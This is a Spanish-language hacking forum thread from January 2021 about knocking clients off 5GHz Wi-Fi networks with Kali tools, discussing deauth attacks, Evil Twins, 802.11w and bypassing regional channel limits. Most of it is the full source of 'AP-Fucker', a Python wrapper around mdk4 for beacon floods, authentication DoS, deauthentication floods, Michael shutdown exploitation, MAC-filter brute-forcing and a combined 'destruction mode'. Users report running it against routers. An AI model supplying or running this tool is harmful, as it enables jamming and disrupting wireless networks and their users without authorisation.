Autor Tema: ¿Consenso actual sobre desautenticar clientes de redes de 5Ghz? (Enero 2021)  (Leído 1629 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado 76854675675

  • **
  • Mensajes: 3
¡Hola!

Después de un tiempo probando con éxito diversos ataques a mi banda de 2,4Ghz desde Kali decidí adquirir 2 adaptadores USB Ralink RT5572 (se supone que son 100% compatibles en Kali excepto para ataques WPS con reaver/bully) para poder testear también mi banda de 5Ghz (podría conseguir un AWUS036ACH en caso de ser necesario), estoy atascada en la fase de poder desautenticar clientes, por ejemplo he probado todos los deauth attacks disponibles en Airgeddon (MDK3/MDK4, aireplay, WIDS/WIPS/Confusion, Beacon flood, Auth DoS y TKIP) sin ningún éxito.

Investigando en internet me he encontrado con una mezcla caótica de información al respecto de diferentes años/fechas pasadas, en ocasiones contradictoria y que podría ser obsoleta a día de hoy por lo que no se por donde empezar a buscar una solución efectiva:

-Se dice que debes usar aireplay con -D y especificar la MAC del cliente que quieres tumbar de la red y tambien el canal al que emite el AP. Pero no mencionan nada de la posibilidad de que el AP vaya cambiando canales (channel hopping) y el ataque no sirva para nada.

-Se dice que solo se pueden desautenticar clientes en algunos canales "bajos" de 5Ghz pero no en canales "altos" debido a la limitación CRDA, una solución a esto parece ser instalar drivers no oficiales que ignoren estas limitaciones o usar "iw reg set" para "situarse" en un país como Guyana.

-Se dice que desde 2019 en adelante ya es imposible desautenticar clientes en la banda de 5Ghz debido a la actualización de seguridad 802.11w implementada en todos los routers desde entonces. Incluso algunos comentan "Descansa en Paz aireplay-ng, MDK3/MDK4" significando que dejan de ser efectivos para siempre en este contexto.

Desconozco qué afirmaciones son ciertas y cuales no ya que desafortunadamente muchas veces el OP no vuelve a responder a su propio hilo. Respecto al último párrafo, si eso es cierto significaría que practicamente dejarán de ser efectivos los ataques con Evil Twins ya que de poco sirve poder tumbar clientes de la red de 2,4Ghz si lo que hacen es conectarse a la red de 5Ghz (la implementación de routers de doble banda va en aumento) en vez de a la red creada por nosotros, por lo que por ejemplo parece un sinsentido que el creador de Fluxion haga afirmaciones tan audaces como "Fluxion is the future of MITM WPA attacks" cuando en caso de ser esto cierto pues este tipo de ataques tiene los días contados.

En resumen, he hecho los deberes pero estoy atascada y necesito ayuda, estaría muy agradecida si alguien me pudiese mostrar el camino a seguir. Mil gracias.



Desconectado AntonioJaen

  • **
  • Mensajes: 18
Estoy igual que tu. Me uno a tu petición.

Desconectado dynyly

  • *****
  • Mensajes: 193
salu2
uso apfuker genera ruido + apfuker mod
pero canales alto 100 no deauht no me vale lo de cambiar con iw reg
en los demas canales  vaya que si genera ruido mucho
« Última modificación: 26-01-2021, 23:34 (Martes) por dynyly »

Desconectado AntonioJaen

  • **
  • Mensajes: 18
Re:¿Consenso actual sobre desautenticar clientes de redes de 5Ghz? (Enero 2021)
« Respuesta #3 en: 27-01-2021, 16:55 (Miércoles) »
He abierto ap-fucker en wifislax 2.4, pero solo deja para 2.4 Ghz.
Hay otra version para 5 Ghz?
Gracias

Desconectado dynyly

  • *****
  • Mensajes: 193
salu2
edite y lo elimine por que a mi interfaces channels + 100 remueve el viento nada mas no me vale lo de iw reg GY  y creo saber usar por encima iw

Código: [Seleccionar]
#!/usr/bin/env python
# -*- coding: Utf-8 -*-
#
# WIRELESS ACCESS POINT FUCKER
# Interactive, Multifunction, Destruction Mode Included
#
# Thanks to BackTrack crew, especially ShamanVirtuel and ASPJ
#
# USAGE: Launch the script as root using "python AP-Fucker.py", follow instructions, enjoy!
# Prerequisites: Have mdk4 installed
#

__app__ = "AP-Fucker"
__version__ = "0.5"
__author__ = "MatToufoutu"

### IMPORTS
from sys import stdout
from sys import exit as sysexit
from os import system, remove, path
from commands import getoutput
from threading import Thread
from time import sleep, ctime

### MDK4 THREADED ATTACKS CLASS
class Mdk4(Thread):
    def __init__(self, attack, attack_options):
        Thread.__init__(self)
        self.attack = attack
        self.iface = attack_options[0]
        self.essid = attack_options[1]
        self.bssid = attack_options[2]
        self.chan = attack_options[3]
        self.log = "apfucker.log"
        self.modes = {"B":self.bflood, "A":self.ados, "D":self.amok,
                      "M":self.mich, "W":self.wids, "C":self.brutmac}
    def bflood(self):
        out = open(self.log,"a")
        out.write("\n ----- "+ctime()+" : Launching beacon flood against %s on channel %s -----" % (self.essid, self.chan))
        out.close()
        print("\n Launching beacon flood against %s on channel %s" % (self.essid, self.chan))
        sleep(2)
        system("mdk4 "+self.iface+" b -n "+self.essid+" -b g -w t -m -c "+self.chan+" -h >> "+self.log)
    def ados(self):
        out = open(self.log,"a")
        out.write("\n ----- "+ctime()+" : Launching Auth DoS against %s -----" % (self.bssid))
        out.close()
        print("\n Launching Auth DoS against %s " % (self.bssid))
        sleep(2)
        system("mdk4 "+self.iface+" a -i "+self.bssid+" -m -s 1024 >> "+self.log)
    def amok(self):
        out = open(self.log,"a")
        out.write("\n ----- "+ctime()+" : Launching Deauth Flood 'Amok' Mode on channel %s -----" % (self.chan))
        out.close()
        print("\n Launching Deauth Flood 'Amok' Mode on channel %s" % (self.chan))
        sleep(2)
        system("mdk4 "+self.iface+" d -c "+self.chan+" -E "+self.essid+" -B "+self.bssid+" -s 1024 >> "+self.log)
    def mich(self):
        out = open(self.log,"a")
        out.write("\n ----- "+ctime()+" : Launching Michael 'Shutdown' Exploitation against %s on channel %s -----" % (self.bssid, self.chan))
        out.close()
        print("\n Launching Michael 'Shutdown' Exploitation against %s on channel %s" % (self.bssid, self.chan))
        sleep(2)
        system("mdk4 "+self.iface+" m -t "+self.bssid+" -j -w 1 -n 1024 -s 1024 >> "+self.log)
    def wids(self):
        out = open(self.log,"a")
        out.write("\n ----- "+ctime()+" : Launching WIDS Confusion against %s on channel %s -----" % (self.essid, self.chan))
        out.close()
        print("\n Launching WIDS Confusion against %s on channel %s" % (self.essid, self.chan))
        sleep(2)
        system("mdk4 "+self.iface+" w -e "+self.essid+" -c "+self.chan+" >> "+self.log)
    def brutmac(self):
        global runanim
        runanim = True
        out = open(self.log, "a")
        out.write("\n ----- "+ctime()+" : Launching MAC filter Brute-Forcer against %s -----\n" % (self.bssid))
        print("\n Launching MAC filter Brute-Forcer against %s" % (self.bssid))
        sleep(2)
        macfound = getoutput("mdk4 "+self.iface+" f -t "+self.bssid).splitlines()[-2:]
        runanim = False
        sleep(1)
        print; print
        for line in macfound:
            print(line)
            out.write("\n"+line)
        out.close()
        print
        sysexit(0)
    def run(self):
        global runanim
        runanim = True
        self.modes[self.attack]()
        runanim = False

### AUXILIARY FUNCTIONS
## CHECK IF IFACE IS IN MONITOR MODE
def check_mon(iface):
    for line in getoutput("iwconfig "+iface).splitlines():
        if "Mode:Monitor" in line:
            return True
    return False

## CHECK IF BSSID IS VALID
def check_mac(ap):
    if len(ap) != 17 or ap.count(':') != 5:
        return False
    macchar = "0123456789abcdef:"
    for c in ap.lower():
        if macchar.find(c) == -1:
            return False
    return True

## CHECK IF CHANNEL IS VALID
def check_chan(iface, chan):
    if chan.isdigit():
        channel = int(chan)
        if not channel in range(1, int(getoutput("echo '170'"))+1):
            return False
    else:
        return False
    return True

## CLEAN EXIT
def clean_exit():
    print;print
    print("\nAction aborted by user. Exiting now")
    for pid in getoutput("ps aux | grep mdk4 | grep -v grep | awk '{print $2}'").splitlines():
        system("kill -9 "+pid)
    print("Hope you enjoyed it ;-)")
    sleep(2)
    system("clear")
    sysexit(0)

## DUMMY WAITING MESSAGE (ANIMATED)
def waiter(mess):
    try:
        stdout.write("\r | "+mess)
        stdout.flush()
        sleep(0.15)
        stdout.write("\r / "+mess)
        stdout.flush()
        sleep(0.15)
        stdout.write("\r-- "+mess)
        stdout.flush()
        sleep(0.15)
        stdout.write("\r \\ "+mess)
        stdout.flush()
        sleep(0.15)
        stdout.write("\r | "+mess)
        stdout.flush()
        sleep(0.15)
        stdout.write("\r / "+mess)
        stdout.flush()
        sleep(0.15)
        stdout.write("\r-- "+mess)
        stdout.flush()
        sleep(0.15)
        stdout.write("\r \\ "+mess)
        stdout.flush()
        sleep(0.15)
    except KeyboardInterrupt:
        clean_exit()

### MAIN APP
try:
    import psyco
    psyco.full()
except ImportError:
    pass

attackAvail = ["B", "A", "W", "D", "M", "T", "E", "C"]
attack_opt = []

if getoutput("whoami") != "root":
    print("This script must be run as root !")
    sysexit(0)
try:
    system("clear")
    print("\n\t\t########## ACCESS POINT FUCKER ##########\n")
    print("""Choose your Mode:
    \t - (B)eacon flood
    \t - (A)uth DoS
    \t - (W)ids confusion
    \t - (D)isassociation 'AmoK Mode'
    \t - (M)ichael shutdown exploitation
    \t - MA(C) Filter Brute-Forcer
    \t - Des(T)ruction mode (USE WITH CAUTION)\n""")

    ## GET MODE
    while 1:
        mode = raw_input("\n>>> ")
        if mode.upper() not in attackAvail:
            print("  '%s' is not a valid mode !" % mode)
        else:
            break

    ## GET INTERFACE
    while 1:
        iface = raw_input("\nMonitor interface to use: ")
        if check_mon(iface):
            attack_opt.append(iface)
            break
        else:
            print("%s is not a Monitor interface, try again or hit Ctrl+C to quit" % iface)

    ## GET ESSID
    if mode.upper() == "B" or mode.upper() == "W" or mode.upper() == "T":
        attack_opt.append("\""+raw_input("\nTarget ESSID: ")+"\"")
    else:
        attack_opt.append(None)

    ## GET BSSID
    if mode.upper() == "A" or mode.upper() == "M" or mode.upper() == "T" or mode.upper() == "C":
        while 1:
            bssid = raw_input("\nTarget BSSID: ")
            if check_mac(bssid):
                attack_opt.append(bssid)
                break
            else:
                print("Invalid BSSID, try again or hit Ctrl+C to quit")
    else:
        attack_opt.append(None)

    ## GET CHANNEL
    if mode.upper() != "C":
        while 1:
            channel = raw_input("\nTarget channel: ")
            if check_chan(iface, channel):
                attack_opt.append(channel)
                break
            else:
                print("Channel can only be 1 to 170, try again or hit Ctrl+C to quit")
    else:
        attack_opt.append(None)

    ## LAUNCH SELECTED ATTACK
    if path.exists("apfucker.log"):
        remove("apfucker.log")
    if mode.upper() != "T":
        system('clear')
        Mdk4(mode.upper(), attack_opt).start()
        sleep(1)
        print; print; print
        while runanim:
            waiter("   ATTACK IS RUNNING !!! HIT CTRL+C TWICE TO STOP THE TASK...")
    else:
        system('clear')
        print("\n\t/!\\/!\\/!\\ WARNING /!\\/!\\/!\\\n")
        print(" You've choosen DESTRUCTION MODE")
        print(" Using this mode may harm your WiFi card, use it at your own risks.")
        validate = raw_input(" Do you wish to continue? (y/N): ")
        if validate.upper() != "Y":
            print(" Ok, exiting now")
            sysexit(0)
        else:
            out = open("apfucker.log","a")
            out.write("\n ----- "+ctime()+" : Launching Destruction Combo. Target is AP %s|%s on channel %s -----" % (attack_opt[1], attack_opt[2], attack_opt[3]))
            out.close()
            print("\n Launching Destruction Combo\n Target is AP %s|%s on channel %s" % (attack_opt[1], attack_opt[2], attack_opt[3]))
            print(" Please be kind with your neighbours xD")
            ##wids not implemented: may raise segfault
            ##appears to be an internal mdk4 issue when running multiple attacks
            for atk in ("B", "A", "D", "M"):
                Mdk4(atk, attack_opt).start()
            sleep(1)
            print; print; print
            while runanim:
                waiter("   DESTRUCTION COMBO IS RUNNING !!! HIT CTRL+C TWICE TO STOP THE TASK...")
except KeyboardInterrupt:
    clean_exit()

copiar u renombrar apfucker2.py  este usara mdk4

Desconectado AntonioJaen

  • **
  • Mensajes: 18
Como mi router de MiFibra emite en 2,4 y 5 GHz a la vez, será indiferente el resultado de colapsarlo con ap-fucker por la banda 2.4 que por la 5 para que se sature???

Desconectado AntonioJaen

  • **
  • Mensajes: 18
He probado con ap-fuckere en mi red MiFibra en 2.4 Ghz, pero en cuanto se satura salta a otro canal.

Desconectado dynyly

  • *****
  • Mensajes: 193
salu2
logica interface 2.4 ghz apfucker
interface 5 ghz apfuker2
ambos al mismo tiempo ...
lo que hara es cambiar de canal ambas redes  lo volveras un poco loco pero solo hasta que cambia de canal  ;D

Desconectado marcelo7530

  • **
  • Mensajes: 4
Misma duda... también note que los clientes ante estos ataques, estando en 2,4g cambian a 5g lo que hace el ataque inútil totalmente, y cada vez veo mas que los routers traen las dos bandas (2,4g y 5g)  :(

Desconectado Rober Couoh

  • **
  • Mensajes: 3
Alfa Network AWUS1900 802.11ac Ultra speed USB adapter
Sirve en Wifislax?